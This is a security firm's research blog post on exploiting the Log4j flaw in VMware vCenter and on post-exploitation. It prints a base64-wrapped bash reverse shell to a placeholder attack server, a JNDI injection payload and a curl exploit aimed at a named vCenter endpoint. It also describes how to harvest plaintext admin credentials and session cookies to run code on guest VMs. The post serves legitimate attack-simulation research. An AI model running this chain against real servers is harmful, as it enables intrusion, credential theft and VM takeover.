How to Leverage Log4j to Expose vCenter Attack Paths - Part 1

 As Log4j hit the industry, we found ourselves orchestrating full attack scenarios for our customers to practice their defenses and responses. 

While working on an attack vector from VMware vCenter to Domain Admin, we realized we were missing some tools to abuse a specific path we had in mind. 

This minor obstacle gave us the excuse we needed to kickstart our research into VMware Post-Exploitation and the development of our modest toolkit which we will release later. 

 

History 

Log4j is a popular logging utility that made headlines last December following the public disclosure of a vulnerability that potentially allows attackers to execute code remotely on a targeted machine. The vulnerability takes advantage of Log4j's requests to arbitrarily access LDAP and JNDI servers, allowing attackers to execute arbitrary Java code on servers that host versions of the vulnerable software. 

Amazon, Microsoft, and VMware were among the many leading companies affected, not to mention the hundreds of thousands of not as prominent organizations and companies. 

We decided to focus our research on the post-exploitation stages of an attack and looked for a worthy opponent on which we could inflict some considerable damage. 
 


Enter vCenter 

vCenter Server is the centralized management utility for VMware that controls VMs, ESXs, and all other components in a centralized location. 

As it so happens, vCenter uses log4j and, therefore, was a perfect candidate for our research. 

 

Log4j Exploitation Dependencies 

The first couple of steps we took were focused on setting up an attack environment and included: 

  • A JNDI LDAP server to deliver the payload. 
  • A reverse shell handler to control the victim once exploited. 
     
    For the JNDI server, we used this GitHub repo and set up the attack server to host a reverse shell payload: 

 

COMMAND_B64=$(echo "bash -I >& /dev/tcp/<ATTACK_SRV_ADDR>/<PORT> 0>&1" | base64)  

java -jar RogueJndi-1.1.jar -c "bash -c {echo,\$COMMAND_B64}|{base64,-d}|{bash,-i}" --hostname "0.0.0.0" -l "1389" 

Command_B64

For the listener, we:  

  • wrote a short Python script to listen for an incoming connection.  
  • created an HTTP c2 to control the established connection. 

Exploitation: 

To exploit the log4j vulnerability, we had to know what part of our request would be written into the log. Our goal was to get a JNDI payload written into the log and trigger the vulnerability: 
 
Payload: 

 ${jndi:ldap://< attack_server >:<server_port>/<attack_server_path> } 

 
Thanks to this cool tweet, we didn’t have to tinker with vCenter ourselves to find the vulnerable header and path needed to exploit the vCenter server: 
 
Path: 

 /websso/SAML2/SLO/vsphere.local?SAMLRequest=HTTP/2 Header: X-Forwarded-For 

 
And so, our final exploit is a simple CURL command: 

curl https://<vcenter_ip>:443/websso/SAML2/SLO/vsphere.local?SAMLRequest=HTTP/2 -H 'X-Forwarded-For: ${jndi:ldap://< attack_server >:<server_port>/<attack_server_path> }' --insecure 

After we sent the request, we expected a reverse shell connection to be made to our c2. 

 

Now What? 

The obvious thing we had in mind was that we could use vCenter to execute code on virtual machines.  

This is a good time to mention that VMware has released a Python library called pyVmomi that can help us communicate more efficiently with the vCenter server. 

First, we created an authenticated object by supplying administrative user credentials: 

administrative user credentials

Next, we supplied the VM creds for the context of the code execution: 

code execution

Then we created the program spec:

program spec

And finally, we executed the command: 

executed the command

But wait, how are we supposed to get the username and password for the administrator? 

 

General Auth: 

Before trying to steal the credentials, we needed to understand how the authentication works. 

When a user authenticates to the server, he sends his credentials through basic auth to the server. If the server considers them valid, it will sign a SAML auth request which the user can exchange for the VSPHERE-UI-JSESSIONID cookie.

SAML auth request

To steal these credentials, we had to identify the best place to steal them after they reach the server. 

To find a target, we used netstat to understand the flow of data to and from the server. 

Vpxd, the main vCenter service, doesn’t listen for incoming connections directly but uses Envoy as a proxy instead. Reading VMware's documentation showed us that the config of Envoy is derived from rhttpproxy:

Text
Description automatically generated

The most interesting part of rhttpproxy’s config is:

rhttpproxy’s config code

 

Credential Dumping 

Once we had a better understanding of the general flow of data to and from the server, we had a few targets to tinker with: 

  1. We could try to get the data from Envoy after TLS termination. 
  2. We could try to MitM the vpxd-webserver-pipe. 
  3. We could try to get the data from vpxd when it reads the data. 

First, we tried to authenticate while debugging the Envoy process with a trace in the background, looking for any HTTP data. 


After several attempts, we managed to capture the stripped HTTP data containing CastleAuthorization: 

HTTP data containing CastleAuthorization

From the data in the CastleAuthorization, we could decode the base64 to get the user and password enabling us to extract plain text credentials for any user that logs in. 
 

Although the method above achieves the goal of giving us credentials, we still needed to wait for a valid login request, which can take some time. 

 

SOAP Sessions 

Impatient as we are, we decided to dig further and examine other requests passing by the proxy. 
One of these requests looked especially interesting: 

SOAP Sessions 

The request is authenticated with the vmware_soap_session cookie, the cookie-generated when authenticating to the Web Services API. 
This means that we could potentially use the token to execute commands without supplying admin creds. 

We needed to make a few adjustments, as pyVmomi doesn’t support connecting with a stolen token:

pyVmomi stolen token code

That enabled us to execute code on a remote VM supplying only the VM user and password: 

Code execute - remote VMware

 

What’s Next? 

Obviously, the need for the VM creds is quite annoying as it limits what we can do. We were not going to stand for that! 

In the next blog post, we’ll showcase our post-exploitation toolkit for vCenter.

 

---

Thanks to Roy Haimof, Security Research Team Lead for Cymulate for the information provided in this guide. An experienced cyber security specialist with a demonstrated history of team-leading in the military industry, Roy is passionate about helping others stay sharp against evolving cyber threats.

 

 

To sign up for Immediate Threat alerts and stay informed:

Learn More

Cymulate Research Lab
Cymulate Research Lab

Our highly experienced and diverse researchers are fluent in security intelligence practices, combining expertise in private security, military, and intelligence experience. Continuously examining the cyber-threat landscape, our experts deliver in-depth visibility into today’s threats and the actors behind them.